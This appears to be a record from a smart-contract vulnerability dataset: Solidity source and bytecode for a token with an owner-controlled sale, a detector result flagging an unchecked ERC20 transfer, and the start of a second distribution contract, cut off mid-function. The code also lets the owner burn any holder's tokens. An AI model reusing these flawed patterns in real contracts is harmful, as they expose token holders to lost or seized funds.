function destroy(address _from, uint256 _amount) public {
require(msg.sender == _from || msg.sender == owner); // validate input
balances[_from] = SafeMath.sub(balances[_from], _amount);
totalSupply = SafeMath.sub(totalSupply, _amount);
emit Transfer(_from, this, _amount);
emit Destruction(_amount);
}
/**
@notice ERC20 Implementation
*/
uint256 public totalSupply;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) {
if (balances[msg.sender] >= _value && _to != address(0)) {
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
} else {return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _to != address(0)) {
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public name;
uint8 public decimals;
string public symbol;
string public version;
constructor(string _name, uint _totalSupply, uint8 _decimals, string _symbol, string _version, address sender) public {
balances[sender] = _totalSupply; // Give the creator all initial tokens
totalSupply = _totalSupply; // Update total supply
name = _name; // Set the name for display purposes
decimals = _decimals; // Amount of decimals for display purposes
symbol = _symbol; // Set the symbol for display purposes
version = _version;
emit NewSmartToken(address(this));
}
/**
@notice Token Sale Implementation
*/
uint public saleStartTime;
uint public saleEndTime;
uint public price;
uint public amountRemainingForSale;
bool public buyModeEth = true;
address public beneficiary;
address public payableTokenAddress;
event TokenSaleInitialized(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, uint nowTime);
event TokensPurchased(address buyer, uint amount);
/**
@dev increases the token supply and sends the new tokens to an account. Similar to issue() but for use in token sale
@param _to account to receive the new amount
@param _amount amount to increase the supply by
*/
function issuePurchase(address _to, uint256 _amount)
internal
validAddress(_to)
notThis(_to)
{
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = SafeMath.add(balances[_to], _amount);
emit Issuance(_amount);
emit Transfer(this, _to, _amount);
}
/**
@notice Begins the token sale for this token instance
@param _saleStartTime Unix timestamp of the token sale start
@param _saleEndTime Unix timestamp of the token sale close
@param _price If sale initialized in ETH: price in Wei.
If not, token purchases are enabled and this is the amount of tokens issued per tokens paid
@param _amountForSale Amount of tokens for sale
@param _beneficiary Recipient of the token sale proceeds
*/
function initializeTokenSale(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary) public ownerOnly {
// Check that the token sale has not yet been initialized
initializeSale(_saleStartTime, _saleEndTime, _price, _amountForSale, _beneficiary);
}
/**
@notice Begins the token sale for this token instance
@notice Uses the same signature as initializeTokenSale() with:
@param _tokenAddress The whitelisted token address to allow payments in
*/
function initializeTokenSaleWithToken(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary, address _tokenAddress) public ownerOnly {
buyModeEth = false;
payableTokenAddress = _tokenAddress;
initializeSale(_saleStartTime, _saleEndTime, _price, _amountForSale, _beneficiary);
}
function initializeSale(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary) internal {
// Check that the token sale has not yet been initialized
require(saleStartTime == 0);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
price = _price;
amountRemainingForSale = _amountForSale;
beneficiary = _beneficiary;
emit TokenSaleInitialized(saleStartTime, saleEndTime, price, amountRemainingForSale, now);
}
function updateStartTime(uint _newSaleStartTime) public ownerOnly {
saleStartTime = _newSaleStartTime;
}
function updateEndTime(uint _newSaleEndTime) public ownerOnly {
require(_newSaleEndTime >= saleStartTime);
saleEndTime = _newSaleEndTime;
}
function updateAmountRemainingForSale(uint _newAmountRemainingForSale) public ownerOnly {
amountRemainingForSale = _newAmountRemainingForSale;
}
function updatePrice(uint _newPrice) public ownerOnly {
price = _newPrice;
}
/// @dev Allows owner to withdraw erc20 tokens that were accidentally sent to this contract
function withdrawToken(IERC20 _token, uint amount) public ownerOnly {
_token.transfer(msg.sender, amount);
}
/**
@dev Allows token sale with parent token
*/
function buyWithToken(IERC20 _token, uint amount) public payable {
require(_token == payableTokenAddress);
uint amountToBuy = SafeMath.mul(amount, price);
require(amountToBuy <= amountRemainingForSale);
require(now <= saleEndTime && now >= saleStartTime);
amountRemainingForSale = SafeMath.sub(amountRemainingForSale, amountToBuy);
require(_token.transferFrom(msg.sender, beneficiary, amount));
issuePurchase(msg.sender, amountToBuy);
emit TokensPurchased(msg.sender, amountToBuy);
}
function() public payable {
require(buyModeEth == true);
uint amountToBuy = SafeMath.div( SafeMath.mul(msg.value, 1 ether), price);
require(amountToBuy <= amountRemainingForSale);
require(now <= saleEndTime && now >= saleStartTime);
amountRemainingForSale = SafeMath.sub(amountRemainingForSale, amountToBuy);
issuePurchase(msg.sender, amountToBuy);
beneficiary.transfer(msg.value);
emit TokensPurchased(msg.sender, amountToBuy);
}
}
|
0x6080604052600436106101ac576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306bcf02f1461031257806306fdde031461033f578063095ea7b3146103cf5780631608f18f1461043457806318160ddd146104635780631cbaee2d1461048e5780631d4a9209146104b957806323b872dd14610524578063313ce567146105a957806338af3eed146105da57806354fd4d501461063157806368e57c6b146106c15780636ab3846b146106ec5780636e33a8311461071957806370a082311461075957806379ba5097146107b0578063867904b4146107c75780638692ac86146108145780638d6cc56d146108575780638da5cb5b1461088457806395d89b41146108db57806398079dc41461096b5780639e281a98146109c2578063a035b1fe14610a0f578063a24835d114610a3a578063a9059cbb14610a87578063bef97c8714610aec578063cb52c25e14610b1b578063d4ee1d9014610b48578063da5da3b914610b9f578063dd62ed3e14610c2a578063ea5a641614610ca1578063ed338ff114610cd0578063f2fde38b14610cfb575b600060011515600d60009054906101000a900460ff1615151415156101d057600080fd5b6101ed6101e534670de0b6b3a7640000610d3e565b600b54610d7c565b9050600c54811115151561020057600080fd5b600a54421115801561021457506009544210155b151561021f57600080fd5b61022b600c5482610da6565b600c8190555061023b3382610dc7565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156102a3573d6000803e3d6000fd5b507f8f28852646c20cc973d3a8218f7eefed58c25c909f78f0265af4818c3d4dc2713382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150005b34801561031e57600080fd5b5061033d60048036038101908080359060200190929190505050610f80565b005b34801561034b57600080fd5b50610354610fe5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610394578082015181840152602081019050610379565b50505050905090810190601f1680156103c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103db57600080fd5b5061041a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611083565b604051808215151515815260200191505060405180910390f35b34801561044057600080fd5b50610461600480360381019080803515159060200190929190505050611175565b005b34801561046f57600080fd5b506104786111ee565b6040518082815260200191505060405180910390f35b34801561049a57600080fd5b506104a36111f4565b6040518082815260200191505060405180910390f35b3480156104c557600080fd5b5061052260048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fa565b005b34801561053057600080fd5b5061058f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611269565b604051808215151515815260200191505060405180910390f35b3480156105b557600080fd5b506105be611624565b604051808260ff1660ff16815260200191505060405180910390f35b3480156105e657600080fd5b506105ef611637565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063d57600080fd5b5061064661165d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068657808201518184015260208101905061066b565b50505050905090810190601f1680156106b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106cd57600080fd5b506106d66116fb565b6040518082815260200191505060405180910390f35b3480156106f857600080fd5b5061071760048036038101908080359060200190929190505050611701565b005b610757600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611777565b005b34801561076557600080fd5b5061079a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119de565b6040518082815260200191505060405180910390f35b3480156107bc57600080fd5b506107c5611a27565b005b3480156107d357600080fd5b50610812600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bc6565b005b34801561082057600080fd5b50610855600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dda565b005b34801561086357600080fd5b5061088260048036038101908080359060200190929190505050611f4f565b005b34801561089057600080fd5b50610899611fb4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108e757600080fd5b506108f0611fd9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610930578082015181840152602081019050610915565b50505050905090810190601f16801561095d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561097757600080fd5b50610980612077565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ce57600080fd5b50610a0d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061209d565b005b348015610a1b57600080fd5b50610a246121db565b6040518082815260200191505060405180910390f35b348015610a4657600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121e1565b005b348015610a9357600080fd5b50610ad2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123b0565b604051808215151515815260200191505060405180910390f35b348015610af857600080fd5b50610b016125dc565b604051808215151515815260200191505060405180910390f35b348015610b2757600080fd5b50610b46600480360381019080803590602001909291905050506125ef565b005b348015610b5457600080fd5b50610b5d612654565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610bab57600080fd5b50610c2860048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061267a565b005b348015610c3657600080fd5b50610c8b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612746565b6040518082815260200191505060405180910390f35b348015610cad57600080fd5b50610cb66127cd565b604051808215151515815260200191505060405180910390f35b348015610cdc57600080fd5b50610ce56127e0565b6040518082815260200191505060405180910390f35b348015610d0757600080fd5b50610d3c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127e6565b005b6000806000841415610d535760009150610d75565b8284029050828482811515610d6457fe5b04141515610d7157600080fd5b8091505b5092915050565b600080600083111515610d8e57600080fd5b8284811515610d9957fe5b0490508091505092915050565b600080838311151515610db857600080fd5b82840390508091505092915050565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e0457600080fd5b823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e4057600080fd5b610e4c600254846128e1565b600281905550610e9b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846128e1565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc3836040518082815260200191505060405180910390a18373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fdb57600080fd5b8060098190555050565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561107b5780601f106110505761010080835404028352916020019161107b565b820191906000526020600020905b81548152906001019060200180831161105e57829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111d057600080fd5b8015600160146101000a81548160ff02191690831515021790555050565b60025481565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125557600080fd5b6112628585858585612902565b5050505050565b6000600160149054906101000a900460ff16151561128357fe5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561134e575081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156113875750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611618576113d5600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836128e1565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611461600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152a600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061161d565b600090505b9392505050565b600660009054906101000a900460ff1681565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116f35780601f106116c8576101008083540402835291602001916116f3565b820191906000526020600020905b8154815290600101906020018083116116d657829003601f168201915b505050505081565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175c57600080fd5b600954811015151561176d57600080fd5b80600a8190555050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156117d557600080fd5b6117e182600b54610d3e565b9050600c5481111515156117f457600080fd5b600a54421115801561180857506009544210155b151561181357600080fd5b61181f600c5482610da6565b600c819055508273ffffffffffffffffffffffffffffffffffffffff166323b872dd33600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561191e57600080fd5b505af1158015611932573d6000803e3d6000fd5b505050506040513d602081101561194857600080fd5b8101908080519060200190929190505050151561196457600080fd5b61196e3382610dc7565b7f8f28852646c20cc973d3a8218f7eefed58c25c909f78f0265af4818c3d4dc2713382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c2157600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c5e57600080fd5b823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c9a57600080fd5b611ca6600254846128e1565b600281905550611cf5600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846128e1565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc3836040518082815260200191505060405180910390a18373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e3557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e9157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611faa57600080fd5b80600b8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561206f5780601f106120445761010080835404028352916020019161206f565b820191906000526020600020905b81548152906001019060200180831161205257829003601f168201915b505050505081565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120f857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561219b57600080fd5b505af11580156121af573d6000803e3d6000fd5b505050506040513d60208110156121c557600080fd5b8101908080519060200190929190505050505050565b600b5481565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061226757506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561227257600080fd5b6122bb600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610da6565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230a60025482610da6565b6002819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f9a1b418bc061a5d80270261562e6986a35d995f8051145f277be16103abd3453816040518082815260200191505060405180910390a15050565b6000600160149054906101000a900460ff1615156123ca57fe5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156124465750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125d157612494600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612520600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836128e1565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506125d6565b600090505b92915050565b600160149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561264a57600080fd5b80600c8190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126d557600080fd5b6000600d60006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061273e8686868686612902565b505050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900460ff1681565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561284157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561289d57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840190508381101515156128f857600080fd5b8091505092915050565b600060095414151561291357600080fd5b8460098190555083600a8190555082600b8190555081600c8190555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f65b937d460c7c5cfeac1c37e5cbf1f4d6136747e3b2c9f1773d2d61cef193b5b600954600a54600b54600c5442604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a150505050505600a165627a7a72305820ccc0f7330f54a768e0bbf0fdc46db25384c2b5f3310dd42cac9fd3f6cc0122c30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,445 |
0x26788f0670bdf9594ba1a677a977e97eb68568db
|
pragma solidity ^0.4.21;
library SafeMath {function mul(uint256 a, uint256 b) internal pure returns (uint256) {if (a == 0) { return 0;}uint256 c = a * b;assert(c / a == b);return c;} function div(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a / b;return c;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {assert(b <= a);return a - b;} function add(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a + b;assert(c >= a);return c;}}contract ERC20Basic {function totalSupply() public view returns (uint256);function balanceOf(address who) public view returns (uint256);function transfer(address to, uint256 value) public returns (bool);event Transfer(address indexed from, address indexed to, uint256 value);}contract ERC20 is ERC20Basic {function allowance(address owner, address spender) public view returns (uint256);function transferFrom(address from, address to, uint256 value) public returns (bool);function approve(address spender, uint256 value) public returns (bool);event Approval(address indexed owner, address indexed spender, uint256 value);}contract KahnDistributionCentre{using SafeMath for uint256;struct User{address user_address;uint signup_time;uint256 reward_amount;bool blacklisted;uint paid_time;uint256 paid_token;bool status;}address public owner;address public wallet;uint256 public mineth = 0;uint256 public minsignupeth = 0;bool public paused = false;uint public maxSignup = 1000;bool public allowsSignup = true;address[] public bountyaddress;address[] public adminaddress;address[] public staffaddress;uint public startTimes;uint public endTimes;bool public contractbacklist = false;uint public userSignupCount = 0;uint256 public userClaimAmt = 0;ERC20 public token;uint public payStyle = 0;bool public paidversion = false;uint public payoutNow = 0;uint256 public fixPayAmt = 0;mapping(address => User) public bounties;mapping(address => bool) public signups;mapping(address => bool) public blacklist;mapping(address => bool) public isProcess;mapping (address => bool) public admins;mapping (address => bool) public staffs;event eTokenClaim(address indexed _address, uint256 _amount);event eReClaimToken(uint256 _taBal, address _wallet, address _address);event eWalletChange(address _wallet, address indexed _address);event eUpdatePayout(uint _payStyle, uint _payoutNow, uint256 _fixPayAmt, bool _allowsSignup, address indexed _address);event eUpdateStartEndTime(uint _startTimes, uint _endTimes, address indexed _address);function KahnDistributionCentre(ERC20 _token, uint256 _min_eth, uint256 _minsignupeth, uint _paystyle, address _wallet, uint _starttimes, uint _endtimes, uint _payoutnow, uint256 _fixpayamt, uint _maxsignup, bool _allowssignup, bool _paidversion) public { require(_token != address(0)); token = _token; admins[msg.sender] = true; adminaddress.push(msg.sender) -1; owner = msg.sender; mineth = _min_eth; minsignupeth = _minsignupeth; wallet = _wallet; payStyle = _paystyle; startTimes = _starttimes; endTimes = _endtimes; payoutNow = _payoutnow; fixPayAmt = _fixpayamt; maxSignup = _maxsignup; allowsSignup = _allowssignup; paidversion = _paidversion;}modifier onlyOwner {require(msg.sender == owner);_;}modifier onlyAdmin { require(admins[msg.sender]); _;}modifier onlyStaffs { require(admins[msg.sender] || staffs[msg.sender]); _;}modifier ifNotPaused {require(!paused);_;}modifier ifNotStartExp {require(now >= startTimes && now <= endTimes);_;}modifier ifNotBlacklisted {require(!contractbacklist);_;}function ownerUpdateToken(ERC20 _token, address _wallet) public onlyOwner{ token = _token; wallet = _wallet; emit eWalletChange(wallet, msg.sender);}function ownerUpdateOthers(uint _maxno, bool _isBacklisted, uint256 _min_eth, uint256 _minsignupeth, bool _paidversion) public onlyOwner{ maxSignup = _maxno; contractbacklist = _isBacklisted; mineth = _min_eth; minsignupeth = _minsignupeth; paidversion = _paidversion;}function ownerRetrieveTokenDetails() view public onlyOwner returns(ERC20, address, uint256, uint256, bool){return(token, wallet, token.balanceOf(this), userClaimAmt, contractbacklist);}function ownerRetrieveContractConfig2() view public onlyOwner returns(uint256, bool, uint, uint, uint, uint, uint256, uint, bool){return(mineth, paidversion, payStyle, startTimes, endTimes, payoutNow, fixPayAmt, maxSignup, allowsSignup);}function addAdminWhitelist(address[] _userlist) public onlyOwner onlyAdmin{require(_userlist.length > 0);for (uint256 i = 0; i < _userlist.length; i++) {address baddr = _userlist[i];if(baddr != address(0)){if(!admins[baddr]){ admins[baddr] = true;adminaddress.push(baddr) -1;}}}}function removeAdminWhitelist(address[] _userlist) public onlyAdmin{require(_userlist.length > 0);for (uint256 i = 0; i < _userlist.length; i++) {address baddr = _userlist[i];if(baddr != address(0)){if(admins[baddr]){ admins[baddr] = false;}}}}function addStaffWhitelist(address[] _userlist) public onlyAdmin{require(_userlist.length > 0);for (uint256 i = 0; i < _userlist.length; i++) {address baddr = _userlist[i];if(baddr != address(0)){if(!staffs[baddr]){ staffs[baddr] = true;staffaddress.push(baddr) -1;}}}}function removeStaffWhitelist(address[] _userlist) public 